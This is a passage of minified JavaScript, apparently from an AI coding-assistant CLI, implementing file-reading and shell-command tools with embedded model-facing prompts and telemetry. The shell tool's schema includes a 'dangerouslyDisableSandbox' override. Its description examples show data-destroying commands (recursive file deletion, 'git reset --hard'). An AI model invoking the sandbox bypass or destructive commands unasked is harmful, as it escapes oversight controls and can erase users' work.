K=A.match(/^cell-(\d+)$/);if(K&&K[1]){let q=parseInt(K[1],10);return isNaN(q)?void 0:q}return}var hV1=k(()=>{jPA();Oz();e6();b1()});function hN1(A){let K=`${wmA()}/`,q=".output";if(A.startsWith(K)&&A.endsWith(".output")){let Y=A.slice(K.length,-7);if(Y.length>0&&Y.length<=20&&/^[a-zA-Z0-9_-]+$/.test(Y))return Y}return null}function xOK({file_path:A,offset:K,limit:q},{verbose:Y}){if(!A)return null;if(hN1(A))return"";let z=Y?A:Z5(A);if(Y&&(K||q)){let w=K??1,H=q?`lines ${w}-${w+q-1}`:`from line ${w}`;return $3.createElement($3.Fragment,null,$3.createElement(zL,{filePath:A},z),` · ${H}`)}return $3.createElement(zL,{filePath:A},z)}function uOK({file_path:A}){let K=A?hN1(A):null;if(!K)return null;return $3.createElement(V,{dimColor:!0}," ",K)}function BOK(){return null}function mOK(A){switch(A.type){case"image":{let{originalSize:K}=A.file,q=c0(K);return $3.createElement(k6,{height:1},$3.createElement(V,null,"Read image (",q,")"))}case"notebook":{let{cells:K}=A.file;if(!K||K.length<1)return $3.createElement(V,{color:"error"},"No cells found in notebook");return $3.createElement(k6,{height:1},$3.createElement(V,null,"Read ",$3.createElement(V,{bold:!0},K.length)," cells"))}case"pdf":{let{originalSize:K}=A.file,q=c0(K);return $3.createElement(k6,{height:1},$3.createElement(V,null,"Read PDF (",q,")"))}case"text":{let{numLines:K}=A.file;return $3.createElement(k6,{height:1},$3.createElement(V,null,"Read ",$3.createElement(V,{bold:!0},K)," ",K===1?"line":"lines"))}}}function gOK(){return $3.createElement(u9,null)}function FOK(A,{verbose:K}){if(!K&&typeof A==="string"&&i7(A,"tool_use_error"))return $3.createElement(k6,null,$3.createElement(V,{color:"error"},"Error reading file"));return $3.createElement(C3,{result:A,verbose:K})}function QOK(A){if(A?.file_path?.startsWith(tZ()))return"Reading Plan";if(A?.file_path&&hN1(A.file_path))return"Read agent output";return"Read"}function gu6(A){if(!A?.file_path)return null;let K=hN1(A.file_path);if(K)return K;return Z5(A.file_path)}var $3;var UOK=k(()=>{mA();__();J0();sWA();Eq();YK();$8();NG();rM();$3=o($A(),1)});import*as VpA from"path";import{posix as gy2,win32 as Fy2}from"path";function pOK(A){let K=BA();if(K.existsSync(A))return A;let q=VpA.basename(A),Y=/^(.+)([ \u202F])(AM|PM)(\.png)$/,z=q.match(Y);if(z){let w=z[2],H=w===" "?Qy2:" ",J=A.replace(`${w}${z[3]}${z[4]}`,`${H}${z[3]}${z[4]}`);if(K.existsSync(J))return J}return A}function Qu6(){let A=process.env.CLAUDE_CODE_FILE_READ_MAX_OUTPUT_TOKENS;if(A){let K=parseInt(A,10);if(!isNaN(K)&&K>0)return K}return py2}function cy2(A){let K=w8();if(!A.startsWith(K))return null;let q=A.split(Fy2.sep).join(gy2.sep);if(q.includes("/session-memory/")&&q.endsWith(".md"))return"session_memory";if(q.includes("/projects/")&&q.endsWith(".jsonl"))return"session_transcript";return null}async function dOK(A,K,{maxSizeBytes:q=fpA,maxTokens:Y}){let z=Y??Qu6();if(!bN1.has(K)&&A.length>q)throw Error(Fu6(A.length,q));let w=d2(A);if(!w||w<=z/4)return;let J=await N57(A)??w;if(J>z)throw new $N1(J,z)}function xN1(A,K,q,Y){return{type:"image",file:{base64:A.toString("base64"),type:`image/${K}`,originalSize:q,dimensions:Y}}}async function ry2(A,K){let Y=BA().statSync(A).size,z=BA().readFileBytesSync(A),w=u$A(z);try{let H=await Ou4(z,K,w);return{type:"image",file:{base64:H.base64,type:H.mediaType,originalSize:Y}}}catch(H){KA(H);try{let J=await Promise.resolve().then(() => o(cY6(),1)),X=await(J.default||J)(z).resize(400,400,{fit:"inside",withoutEnlargement:!0}).jpeg({quality:20}).toBuffer();return xN1(X,"jpeg",Y)}catch(J){KA(J);let O=w.split("/")[1]||"png";return xN1(z,O,Y)}}}async function oy2(A,K){let Y=BA().statSync(A).size;if(Y===0)throw Error(`Image file is empty: ${A}`);let z=BA().readFileBytesSync(A),H=u$A(z).split("/")[1]||"png";try{let J=await x$A(z,Y,H);return xN1(J.buffer,J.mediaType,Y,J.dimensions)}catch(J){return KA(J),xN1(z,H,Y)}}async function zu6(A,K=Qu6(),q=A.split(".").pop()?.toLowerCase()||"png"){let Y=await oy2(A,q);if(Math.ceil(Y.file.base64.length*0.125)>K)return await ry2(A,K);return Y}var Qy2,Uy2,py2=25000,$N1,bN1,dy2,Uu6,ly2,iy2,d9,ny2=` <system-reminder> Whenever you read a file, you should consider whether it would be considered malware. You CAN and SHOULD provide analysis of malware, what it is doing. But you MUST refuse to improve or augment the code. You can still analyze existing code, write reports, or answer questions about the code behavior. </system-reminder> `,Fu6=(A,K=fpA)=>`File content (${c0(A)}) exceeds maximum allowed size (${c0(K)}). Please use offset and limit parameters to read specific portions of the file, or use the GrepTool to search for specific content.`;var Ev=k(()=>{z7();y4();q6();l6();Au();YK();Oz();hV1();C1();cO();Xz();bc1();$8();dT();e6();UOK();LG1();l1();YK();b1();ys();Qy2=String.fromCharCode(8239);Uy2=[];$N1=class $N1 extends Error{tokenCount;maxTokens;constructor(A,K){super(`File content (${A} tokens) exceeds maximum allowed tokens (${K}). Please use offset and limit parameters to read specific portions of the file, or use the GrepTool to search for specific content.`);this.tokenCount=A;this.maxTokens=K;this.name="MaxFileReadTokenExceededError"}};bN1=new Set(["png","jpg","jpeg","gif","webp"]),dy2=new Set(["mp3","wav","flac","ogg","aac","m4a","wma","aiff","opus","mp4","avi","mov","wmv","flv","mkv","webm","m4v","mpeg","mpg","zip","rar","tar","gz","bz2","7z","xz","z","tgz","iso","exe","dll","so","dylib","app","msi","deb","rpm","bin","dat","db","sqlite","sqlite3","mdb","idx","doc","docx","xls","xlsx","ppt","pptx","odt","ods","odp","ttf","otf","woff","woff2","eot","psd","ai","eps","sketch","fig","xd","blend","obj","3ds","max","class","jar","war","pyc","pyo","rlib","swf","fla"]);Uu6=U.strictObject({file_path:U.string().describe("The absolute path to the file to read"),offset:U.number().optional().describe("The line number to start reading from. Only provide if the file is too large to read at once"),limit:U.number().optional().describe("The number of lines to read. Only provide if the file is too large to read at once.")}),ly2=U.enum(["image/jpeg","image/png","image/gif","image/webp"]),iy2=U.discriminatedUnion("type",[U.object({type:U.literal("text"),file:U.object({filePath:U.string().describe("The path to the file that was read"),content:U.string().describe("The content of the file"),numLines:U.number().describe("Number of lines in the returned content"),startLine:U.number().describe("The starting line number"),totalLines:U.number().describe("Total number of lines in the file")})}),U.object({type:U.literal("image"),file:U.object({base64:U.string().describe("Base64-encoded image data"),type:ly2.describe("The MIME type of the image"),originalSize:U.number().describe("Original file size in bytes"),dimensions:U.object({originalWidth:U.number().optional().describe("Original image width in pixels"),originalHeight:U.number().optional().describe("Original image height in pixels"),displayWidth:U.number().optional().describe("Displayed image width in pixels (after resizing)"),displayHeight:U.number().optional().describe("Displayed image height in pixels (after resizing)")}).optional().describe("Image dimension info for coordinate mapping")})}),U.object({type:U.literal("notebook"),file:U.object({filePath:U.string().describe("The path to the notebook file"),cells:U.array(U.any()).describe("Array of notebook cells")})}),U.object({type:U.literal("pdf"),file:U.object({filePath:U.string().describe("The path to the PDF file"),base64:U.string().describe("Base64-encoded PDF data"),originalSize:U.number().describe("Original file size in bytes")})})]),d9={name:eq,maxResultSizeChars:1e5,strict:!0,input_examples:[{file_path:"/Users/username/project/src/index.ts"},{file_path:"/Users/username/project/README.md",limit:100,offset:50}],async description(){return Cx8},async prompt(){return Lx8},inputSchema:Uu6,outputSchema:iy2,userFacingName:QOK,getToolUseSummary:gu6,getActivityDescription(A){let K=gu6(A);return K?`Reading ${K}`:"Reading file"},isEnabled(){return!0},isConcurrencySafe(){return!0},isReadOnly(){return!0},isSearchOrReadCommand(){return{isSearch:!1,isRead:!0}},getPath({file_path:A}){return A||x1()},async checkPermissions(A,K){let q=await K.getAppState();return rt(d9,A,q.toolPermissionContext)},renderToolUseMessage:xOK,renderToolUseTag:uOK,renderToolUseProgressMessage:BOK,renderToolResultMessage:mOK,renderToolUseRejectedMessage:gOK,renderToolUseErrorMessage:FOK,async validateInput({file_path:A,offset:K,limit:q},Y){let z=BA(),w=x7(A),H=await Y.getAppState();if(gG(w,H.toolPermissionContext,"read","deny")!==null)return{result:!1,message:"File is in a directory that is denied by your permission settings.",errorCode:1};if(w.startsWith("\\\\")||w.startsWith("//"))return{result:!0};let X=pOK(w);if(!z.existsSync(X)){let D=EZ1(w),j="File does not exist.",M=x1(),P=V8();if(M!==P)j+=` Current working directory: ${M}`;if(D)j+=` Did you mean ${D}?`;return{result:!1,message:j,errorCode:2}}let $=VpA.extname(w).toLowerCase();if(dy2.has($.slice(1))&&!(iJA()&&t11($)))return{result:!1,message:`This tool cannot read binary files. The file appears to be a binary ${$} file. Please use appropriate tools for binary file analysis.`,errorCode:4};let G=z.statSync(X).size;if(G===0){if(bN1.has($.slice(1)))return{result:!1,message:"Empty image files cannot be processed.",errorCode:5}}let Z=$===".ipynb",W=iJA()&&t11($);if(!bN1.has($.slice(1))&&!Z&&!W){if(!_N1(w)&&!K&&!q)return{result:!1,message:Fu6(G),meta:{fileSize:G},errorCode:6}}return{result:!0}},async call({file_path:A,offset:K=1,limit:q=void 0},Y){let{readFileState:z,fileReadingLimits:w}=Y,H=w?.maxSizeBytes??fpA,J=w?.maxTokens??Qu6(),O=VpA.extname(A).toLowerCase().slice(1),X=x7(A),$=pOK(X),_=x1(),G=ADA([X],_);if(G.length>0){for(let f of G)Y.dynamicSkillDirTriggers?.add(f);KDA(G).catch(()=>{})}if(O==="ipynb"){let f=hOK($),N=UA(f);if(N.length>H)throw Error(`Notebook content (${c0(N.length)}) exceeds maximum allowed size (${c0(H)}). Use ${G7} with jq to read specific portions: cat "${A}" | jq '.cells[:20]' # First 20 cells cat "${A}" | jq '.cells[100:120]' # Cells 100-120 cat "${A}" | jq '.cells | length' # Count total cells cat "${A}" | jq '.cells[] | select(.cell_type=="code") | .source' # All code sources`);await dOK(N,O,{maxSizeBytes:H,maxTokens:J}),z.set(X,{content:N,timestamp:Kj($),offset:K,limit:q}),Y.nestedMemoryAttachmentTriggers?.add(X);let T={type:"notebook",file:{filePath:A,cells:f}};return WB({operation:"read",tool:"FileReadTool",filePath:X,content:N}),{data:T}}if(bN1.has(O)){let f=await zu6($,J,O);Y.nestedMemoryAttachmentTriggers?.add(X),WB({operation:"read",tool:"FileReadTool",filePath:X,content:f.file.base64});let N=f.file.dimensions?B$A(f.file.dimensions):null;return{data:f,...N&&{newMessages:[t1({content:N,isMeta:!0})]}}}if(iJA()&&t11(O)){let f=await kx8($);return WB({operation:"read",tool:"FileReadTool",filePath:X,content:f.file.base64}),{data:f,newMessages:[t1({content:[{type:"document",source:{type:"base64",media_type:"application/pdf",data:f.file.base64}}],isMeta:!0})]}}let Z=K===0?0:K-1,{content:W,lineCount:D,totalLines:j}=cOK($,Z,q);if(W.length>H)throw Error(Fu6(W.length,H));await dOK(W,O,{maxSizeBytes:H,maxTokens:J}),z.set(X,{content:W,timestamp:Kj($),offset:K,limit:q}),Y.nestedMemoryAttachmentTriggers?.add(X);for(let f of Uy2)f($,W);let M={type:"text",file:{filePath:A,content:W,numLines:D,startLine:K,totalLines:j}};WB({operation:"read",tool:"FileReadTool",filePath:X,content:W});let P=cy2(X);if(P)n("tengu_session_file_read",{is_session_memory:P==="session_memory",is_session_transcript:P==="session_transcript"});return{data:M}},mapToolResultToToolResultBlockParam(A,K){switch(A.type){case"image":return{tool_use_id:K,type:"tool_result",content:[{type:"image",source:{type:"base64",data:A.file.base64,media_type:A.file.type}}]};case"notebook":return bOK(A.file.cells,K);case"pdf":return{tool_use_id:K,type:"tool_result",content:`PDF file read: ${A.file.filePath} (${c0(A.file.originalSize)})`};case"text":{let q;if(A.file.content)q=zWA(A.file)+ny2;else q=A.file.totalLines===0?"<system-reminder>Warning: the file exists but the contents are empty.</system-reminder>":`<system-reminder>Warning: the file exists but is shorter than the provided offset (${A.file.startLine}). The file has ${A.file.totalLines} lines.</system-reminder>`;return{tool_use_id:K,type:"tool_result",content:q}}}}}});function ty2(A){let K=AI2(A),q=sy2.get(K);return q!==void 0?q:ay2}function ey2(A){return A.trim().split(/\s+/)[0]||""}function AI2(A){let K=R$(A),q=K[K.length-1]||A;return ey2(q)}function lOK(A,K,q,Y){let w=ty2(A)(K,q,Y);return{isError:w.isError,message:w.message}}var ay2=(A,K,q)=>({isError:A!==0,message:A!==0?`Command failed with exit code ${A}`:void 0}),sy2;var iOK=k(()=>{_P();sy2=new Map([["grep",(A,K,q)=>({isError:A>=2,message:A===1?"No matches found":void 0})],["rg",(A,K,q)=>({isError:A>=2,message:A===1?"No matches found":void 0})],["find",(A,K,q)=>({isError:A>=2,message:A===1?"Some directories were inaccessible":void 0})],["diff",(A,K,q)=>({isError:A>=2,message:A===1?"Files differ":void 0})],["test",(A,K,q)=>({isError:A>=2,message:A===1?"Condition is false":void 0})],["[",(A,K,q)=>({isError:A>=2,message:A===1?"Condition is false":void 0})]])});import{EOL as NpA}from"os";import{isAbsolute as KI2,normalize as qI2,resolve as YI2}from"path";function OI2(A){let K;try{K=KUA(A)}catch{return{isSearch:!1,isRead:!1}}if(K.length===0)return{isSearch:!1,isRead:!1};let q=!1,Y=!1,z=null,w=!1,H=!1;for(let J of K){if(H){H=!1;continue}if(J===">"||J===">>"||J===">&"){H=!0;continue}if(J==="||"||J==="&&"||J==="|"||J===";"){z=J;continue}let O=J.trim().split(/\s+/)[0];if(!O)continue;let X=wI2.has(O),$=HI2.has(O),_=JI2.has(O);if(z==="||"&&_)continue;if(w=!0,!X&&!$)return{isSearch:!1,isRead:!1};if(X)q=!0;if($)Y=!0}if(!w)return{isSearch:!1,isRead:!1};return{isSearch:q,isRead:Y}}function aOK(A){let K=R$(A);if(K.length===0)return"other";for(let q of K){let Y=q.split(" ")[0]||"";if($I2.includes(Y))return Y}return"other"}function GI2(A,K){if(K!==0)return;if(A.match(/\bgit\s+commit\b/)){if(n("tengu_git_operation",{operation:"commit"}),A.match(/--amend\b/))n("tengu_git_operation",{operation:"commit_amend"});Jr6()?.add(1),l7("git-commits")}if(A.match(/\bgh\s+pr\s+create\b/))n("tengu_git_operation",{operation:"pr_create"}),xnA()?.add(1),l7("pr-creation");if(A.match(/\bglab\s+mr\s+create\b/))n("tengu_git_operation",{operation:"pr_create"}),xnA()?.add(1),l7("pr-creation");let Y=A.match(/\bcurl\b/)&&(A.match(/-X\s*POST\b/i)||A.match(/--request\s*=?\s*POST\b/i)||A.match(/\s-d\s/)),z=A.match(/https?:\/\/[^\s'"]*\/(pulls|pull-requests|merge[-_]requests)(?!\/\d)/i);if(Y&&z)n("tengu_git_operation",{operation:"pr_create"}),xnA()?.add(1),l7("pr-creation");if(A.match(/\bgit\s+(checkout|branch|switch)\b/))l7("branch-management")}function ZI2(A){let K=R$(A);if(K.length===0)return!0;let q=K[0]?.trim();if(!q)return!0;return!XI2.includes(q)}function WI2(A){let q=J8().sandbox?.excludedCommands??[];if(q.length===0)return!1;for(let Y of q){let z=jS6(Y);switch(z.type){case"exact":if(A.trim()===z.command)return!0;break;case"prefix":{let w=A.trim();if(w===z.prefix||w.startsWith(z.prefix+" "))return!0;break}case"wildcard":if(DS6(z.pattern,A.trim()))return!0;break}}return!1}function vMA(A){if(!S8.isSandboxingEnabled())return!1;if(A.dangerouslyDisableSandbox&&S8.areUnsandboxedCommandsAllowed())return!1;if(!A.command)return!1;if(WI2(A.command))return!1;return!0}async function DI2(A,K,q){let{filePath:Y,newContent:z}=A,w=x7(Y),H=BA();if(!H.existsSync(w))return{data:{stdout:"",stderr:`sed: ${Y}: No such file or directory Exit code 1`,interrupted:!1}};let J=gX(w),O=H.readFileSync(w,{encoding:J});if(l2()&&q)await Ds(K.updateFileHistoryState,w,q.uuid);let X=Up(w);return Ss(w,z,J,X),Zs(w,O,z),K.readFileState.set(w,{content:z,timestamp:Kj(w),offset:void 0,limit:void 0}),{data:{stdout:"",stderr:"",interrupted:!1}}}async function*jI2({input:A,abortController:K,setAppState:q,setToolJSX:Y,preventCwdChanges:z}){let{command:w,description:H,timeout:J,shellExecutable:O,run_in_background:X}=A,$=J||EN1(),_="",G="",Z=0,W=void 0,D=!uN1&&ZI2(w),j=await RN1(w,K.signal,$,O,(R,x,y)=>{G=R,_=x,Z=y},z,vMA(A),D),M=j.result;async function P(){return(await $WA.spawn({command:w,description:H||w,shellCommand:j},{abortController:K,getAppState:async()=>{throw Error("getAppState not available in runShellCommand context")},setAppState:q})).taskId}function f(R,x){P().then((y)=>{if(W=y,n(R,{command_type:aOK(w)}),x)x(y)})}if(j.onTimeout&&D)j.onTimeout((R)=>{f("tengu_bash_command_timeout_backgrounded",R)});if(X===!0&&!uN1){let R=await P();return n("tengu_bash_command_explicitly_backgrounded",{command_type:aOK(w)}),{stdout:"",stderr:"",code:0,interrupted:!1,backgroundTaskId:R}}let N=Date.now(),T=N+nOK,C=void 0;while(!0){let R=Date.now(),x=Math.max(0,T-R),y=await Promise.race([M,new Promise((F)=>setTimeout(()=>F(null),x))]);if(y!==null){if(C)tj7(C,q);return j.cleanup(),y}if(W)return{stdout:"",stderr:"",code:0,interrupted:!1,backgroundTaskId:W};if(C){if(j.status==="backgrounded")return{stdout:"",stderr:"",code:0,interrupted:!1,backgroundTaskId:C,backgroundedByUser:!0}}let B=Date.now()-N,b=Math.floor(B/1000);if(!uN1&&W===void 0&&b>=nOK/1000&&Y){if(!C)C=aj7({command:w,description:H||w,shellCommand:j},q);Y({jsx:pu6.createElement(xP1,null),shouldHidePromptInput:!1,shouldContinueAnimation:!0,showSpinner:!0})}yield{type:"progress",fullOutput:_,output:G,elapsedTimeSeconds:b,totalLines:Z,...J?{timeoutMs:$}:void 0},T=Date.now()+zI2}}async function MI2(A,K,q){try{let Y=G6(A),{content:z,type:w,schema:H}=await LM6(Y,q.tool,q.server),J=await puA(z),O=Array.isArray(z)&&z.some((j)=>j.type==="image");if(!J||O){if(Array.isArray(z))return{stdout:IOK(z),structuredContent:z,rawOutputPath:void 0};else if(typeof z==="string")return{stdout:z,structuredContent:void 0,rawOutputPath:void 0};return null}let X=typeof z==="string"?z:UA(z,null,2),$=Date.now(),G=`mcp-cli-${K.replace(/[^a-zA-Z0-9_-]/g,"_").slice(0,30)}-${$}`,Z=await jqA(X,G);if(MqA(Z))return null;let W=HX1(w,H);return{stdout:JX1(Z.filepath,Z.originalSize,W,MpA()),structuredContent:void 0,rawOutputPath:Z.filepath}}catch(Y){return KA(Y),null}}var pu6,nOK=2000,zI2=1000,wI2,HI2,JI2,XI2,uN1,rOK,oOK,$I2,_I2,o7;var xG=k(()=>{z7();_P();C1();Jz();Au();y4();l6();Ev();_WA();rM();CN1();mQA();zN6();SH();hD();jPA();QW6();Pa();n3A();Uf1();B7();l1();q6();g2();Vf();wX1();I8();zM6();iw();iOK();CN1();fI6();ld();IG();b1();YK();e6();AP();FWA();Oz();pu6=o($A(),1),wI2=new Set(["find","grep","rg","ag","ack","locate","which","whereis"]),HI2=new Set(["cat","head","tail","less","more","wc","stat","file","strings","ls","tree","du"]),JI2=new Set(["echo","true","false",":"]);XI2=["sleep"],uN1=P1(process.env.CLAUDE_CODE_DISABLE_BACKGROUND_TASKS),rOK=U.strictObject({command:U.string().describe("The command to execute"),timeout:U.number().optional().describe(`Optional timeout in milliseconds (max ${kN1()})`),description:U.string().optional().describe(`Clear, concise description of what this command does in active voice. Never use words like "complex" or "risk" in the description - just describe what it does. For simple commands (git, npm, standard CLI tools), keep it brief (5-10 words): - ls → "List files in current directory" - git status → "Show working tree status" - npm install → "Install package dependencies" For commands that are harder to parse at a glance (piped commands, obscure flags, etc.), add enough context to clarify what it does: - find . -name "*.tmp" -exec rm {} \\; → "Find and delete all .tmp files recursively" - git reset --hard origin/main → "Discard all local changes and match remote main" - curl -s url | jq '.data[]' → "Fetch JSON from URL and extract data array elements"`),run_in_background:U.boolean().optional().describe("Set to true to run this command in the background. Use TaskOutput to read the output later."),dangerouslyDisableSandbox:U.boolean().optional().describe("Set this to true to dangerously override sandbox mode and run commands without sandboxing."),_simulatedSedEdit:U.object({filePath:U.string(),newContent:U.string()}).optional().describe("Internal: pre-computed sed edit result from preview")}),oOK=uN1?rOK.omit({run_in_background:!0}):rOK,$I2=["npm","yarn","pnpm","node","python","python3","go","cargo","make","docker","terraform","webpack","vite","jest","pytest","curl","wget","build","test","serve","watch","dev"];_I2=U.object({stdout:U.string().describe("The standard output of the command"),stderr:U.string().describe("The standard error output of the command"),rawOutputPath:U.string().optional().describe("Path to raw output file for large MCP tool outputs"),interrupted:U.boolean().describe("Whether the command was interrupted"),isImage:U.boolean().optional().describe("Flag to indicate if stdout contains image data"),backgroundTaskId:U.string().optional().describe("ID of the background task if command is running in background"),backgroundedByUser:U.boolean().optional().describe("True if the user manually backgrounded the command with Ctrl+B"),dangerouslyDisableSandbox:U.boolean().optional().describe("Flag to indicate if sandbox mode was overridden"),returnCodeInterpretation:U.string().optional().describe("Semantic interpretation for non-error exit codes with special meaning"),structuredContent:U.array(U.any()).optional().describe("Structured content blocks from mcp-cli commands")});o7={name:G7,maxResultSizeChars:30000,strict:!0,async description({description:A}){return A||"Run shell command"},async prompt(){return WOK()},isConcurrencySafe(A){return this.isReadOnly(A)},isReadOnly(A){let K=nf1(A.command);return Qf1(A,K).behavior==="allow"},isSearchOrReadCommand(A){let K=oOK.safeParse(A);if(!K.success)return{isSearch:!1,isRead:!1};return OI2(K.data.command)},inputSchema:oOK,outputSchema:_I2,userFacingName(A){if(!A)return"Bash";if(A.command){let K=JMA(A.command);if(K)return MZ1({file_path:K.filePath,old_string:"x"})}return vMA(A)&&P1(process.env.CLAUDE_CODE_BASH_SANDBOX_SHOW_INDICATOR)?"SandboxedBash":"Bash"},getToolUseSummary(A){if(!A?.command)return null;let{command:K,description:q}=A;if(q)return q;return a9(K,CI)},getActivityDescription(A){if(!A?.command)return"Running command";return`Running ${A.description??a9(A.command,CI)}`},isEnabled(){return!0},async checkPermissions(A,K){return await VS6(A,K)},renderToolUseMessage:p7K,renderToolUseRejectedMessage:d7K,renderToolUseProgressMessage:c7K,renderToolUseQueuedMessage:l7K,renderToolResultMessage:i7K,mapToolResultToToolResultBlockParam({interrupted:A,stdout:K,stderr:q,isImage:Y,backgroundTaskId:z,backgroundedByUser:w,structuredContent:H},J){if(H&&H.length>0)return{tool_use_id:J,type:"tool_result",content:H};if(Y){let _=K.trim().match(/^data:([^;]+);base64,(.+)$/);if(_){let G=_[1],Z=_[2];return{tool_use_id:J,type:"tool_result",content:[{type:"image",source:{type:"base64",media_type:G||"image/jpeg",data:Z||""}}]}}}let O=K;if(K)O=K.replace(/^(\s*\n)+/,""),O=O.trimEnd();let X=q.trim();if(A){if(q)X+=NpA;X+="<error>Command was aborted before completion</error>"}let $=z?`Command ${w?"was manually backgrounded by user":"running in background"} with ID: ${z}. Output is being written to: ${Ew(z)}`:"";return{tool_use_id:J,type:"tool_result",content:[O,X,$].filter(Boolean).join(` `),is_error:A}},async call(A,K,q,Y,z){if(A._simulatedSedEdit)return await DI2(A._simulatedSedEdit,K,Y);let{abortController:w,readFileState:H,getAppState:J,setAppState:O,setToolJSX:X}=K,$=new GWA,_=new GWA,G,Z=0,W=!1,D,M=!!K.agentId;try{let r=jI2({input:A,abortController:w,setAppState:O,setToolJSX:X,preventCwdChanges:M}),c;do if(c=await r.next(),!c.done&&z){let e=c.value;z({toolUseID:`bash-progress-${Z++}`,data:{type:"bash_progress",output:e.output,fullOutput:e.fullOutput,elapsedTimeSeconds:e.elapsedTimeSeconds,totalLines:e.totalLines,timeoutMs:e.timeoutMs}})}while(!c.done);if(D=c.value,GI2(A.command,D.code),$.append((D.stdout||"").trimEnd()+NpA),G=lOK(A.command,D.code,D.stdout||"",D.stderr||""),D.stderr&&D.stderr.includes(".git/index.lock': File exists"))n("tengu_git_index_lock_error",{});if(G.isError){if(_.append(D.stderr.trimEnd()+NpA),D.code!==0)_.append(`Exit code ${D.code}`)}else if(r3A(A.command)!==null)_.append(D.stderr.trimEnd()+NpA);else $.append(D.stderr.trimEnd()+NpA);if(!M){let e=await J();if(SN1(e.toolPermissionContext)){let qA=_.toString();_.clear(),_.append(IN1(qA))}}let YA=S8.annotateStderrWithSandboxFailures(A.command,D.stderr||"");if(G.isError)throw new bR(D.stdout,YA,D.code,D.interrupted);W=D.interrupted}finally{if(X)X(null)}let P=$.toString(),f=_.toString();if(G4("tengu_bash_haiku_prefetch",!0)){let r=e7();yOK(A.command,P,r.signal,K.options.isNonInteractiveSession).then(async(c)=>{for(let YA of c){let e=KI2(YA)?qI2(YA):YI2(x1(),YA);try{if(!(await d9.validateInput({file_path:e},K)).result){H.delete(e);continue}await d9.call({file_path:e},K)}catch(qA){H.delete(e),KA(qA)}}n("tengu_bash_tool_haiku_file_paths_read",{filePathsExtracted:c.length,readFileStateSize:H.size,readFileStateValuesCharLength:py(H).reduce((YA,e)=>{let qA=H.get(e);return YA+(qA?.content.length||0)},0)})}).catch((c)=>{if(c instanceof Error&&c.message.includes("Request was aborted"))return;KA(c)})}let N=A.command.split(" ")[0];n("tengu_bash_tool_command_executed",{command_type:N,stdout_length:P.length,stderr_length:f.length,exit_code:D.code,interrupted:W});let T=mZ7(A.command);if(T)n("tengu_code_indexing_tool_used",{tool:T,source:"cli",success:D.code===0});let C=uu6(P),R=uu6(f),x=Bu6(C),y=void 0,B=C,b=R,F=void 0,Q=r3A(A.command);if(Q!==null){let r=await MI2(P,A.command,Q);if(r!==null)B=r.stdout,F=r.structuredContent,y=r.rawOutputPath}let u=B;if(x){let r=B.trim().match(/^data:([^;]+);base64,(.+)$/);if(r&&r[1]&&r[2]){let c=r[1],YA=r[2],e=Buffer.from(YA,"base64"),qA=await P7A(e,void 0,c);u=`data:${qA.mediaType};base64,${qA.base64}`}}return{data:{stdout:u,stderr:b,rawOutputPath:y,interrupted:W,isImage:x,returnCodeInterpretation:G?.message,backgroundTaskId:D.backgroundTaskId,backgroundedByUser:D.backgroundedByUser,structuredContent:F,dangerouslyDisableSandbox:"dangerouslyDisableSandbox"in A?A.dangerouslyDisableSandbox:void 0}}},renderToolUseErrorMessage:n7K}});import{randomUUID as PI2}from"crypto";async function Is(A,K,q){let Y=A;return await Promise.all([...A.matchAll(VI2),...A.matchAll(fI2)].map(async(z)=>{let w=z[1]?.trim();if(w)try{let H=await V_(o7,{command:w},K,WL({content:[]}),"");if(H.behavior!=="allow")throw h(`Bash command permission check failed for command in ${q}: ${w}. Error: ${H.message}`),new qb(`Bash command permission check failed for pattern "${z[0]}": ${H.message||"Permission denied"}`);let{data:J}=await o7.call({command:w},K),O=await $X1(o7,J,PI2()),X=typeof O.content==="string"?O.content:sOK(J.stdout,J.stderr);Y=Y.replace(z[0],X)}catch(H){if(H instanceof qb)throw H;NI2(H,z[0])}})),Y}function sOK(A,K,q=!1){let Y=[];if(A.trim())Y.push(A.trim());if(K.trim())if(q)Y.push(`[stderr: ${K.trim()}]`);else Y.push(`[stderr] ${K.trim()}`);return Y.join(q?" ":` `)}function NI2(A,K,q=!1){if(A instanceof bR){if(A.interrupted)throw new qb(`Bash command interrupted for pattern "${K}": [Command interrupted]`);let w=sOK(A.stdout,A.stderr,q);throw new qb(`Bash command failed for pattern "${K}": ${w}`)}let Y=A instanceof Error?A.message:String(A),z=q?`[Error: ${Y}]`:`[Error] ${Y}`;throw new qb(z)}var VI2,fI2;var qDA=k(()=>{xG();iw();Z1();S2();$8();Pa();VI2=/```!\s*\n?([\s\S]*?)\n?```/g,fI2=/(?<!\w|\$)!`([^`]+)`/g});import{join as MPA,basename as PPA,dirname as Oe}from"path";function BN1(A){return/^skill\.md$/i.test(PPA(A))}function TI2(A,K,q){if(BN1(A)){let z=Oe(A),w=Oe(z),H=PPA(z),J=w.startsWith(K)?w.slice(K.length).replace(/^\//,""):"",O=J?J.split("/").join(":"):"";return O?`${q}:${O}:${H}`:`${q}:${H}`}else{let z=Oe(A),w=PPA(A).replace(/\.md$/,""),H=z.startsWith(K)?z.slice(K.length).replace(/^\//,""):"",J=H?H.split("/").join(":"):"";return J?`${q}:${J}:${w}`:`${q}:${w}`}}function vI2(A,K,q){let Y=[],z=BA();function w(H){try{let J=z.readdirSync(H);if(J.some((X)=>X.isFile()&&BN1(X.name))){for(let X of J)if(X.isFile()&&X.name.toLowerCase().endsWith(".md")){let $=MPA(H,X.name);if(Uh(z,$,q))continue;let _=z.readFileSync($,{encoding:"utf-8"}),{frontmatter:G,content:Z}=J_(_);Y.push({filePath:$,baseDir:K,frontmatter:G,content:Z})}return}for(let X of J){let $=MPA(H,X.name);if(X.isDirectory())w($);else if(X.isFile()&&X.name.toLowerCase().endsWith(".md")){if(Uh(z,$,q))continue;let _=z.readFileSync($,{encoding:"utf-8"}),{frontmatter:G,content:Z}=J_(_);Y.push({filePath:$,baseDir:K,frontmatter:G,content:Z})}}}catch(J){h(`Failed to scan directory ${H}: ${J}`,{level:"error"})}}return w(A),Y}function EI2(A){let K=new Map;for(let Y of A){let z=Oe(Y.filePath),w=K.get(z)??[];w.push(Y),K.set(z,w)}let q=[];for(let[Y,z]of K){let w=z.filter((H)=>BN1(H.filePath));if(w.length>0){let H=w[0];if(w.length>1)h(`Multiple skill files found in ${Y}, using ${PPA(H.filePath)}`);q.push(H)}else q.push(...z)}return q}async function tOK(A,K,q,Y,z,w={isSkillMode:!1},H=new Set){let J=vI2(A,A,H),O=EI2(J),X=[];for(let $ of O){let _=TI2($.filePath,$.baseDir,K),G=TpA(_,$,q,Y,z,BN1($.filePath),w);if(G)X.push(G)}return X}function 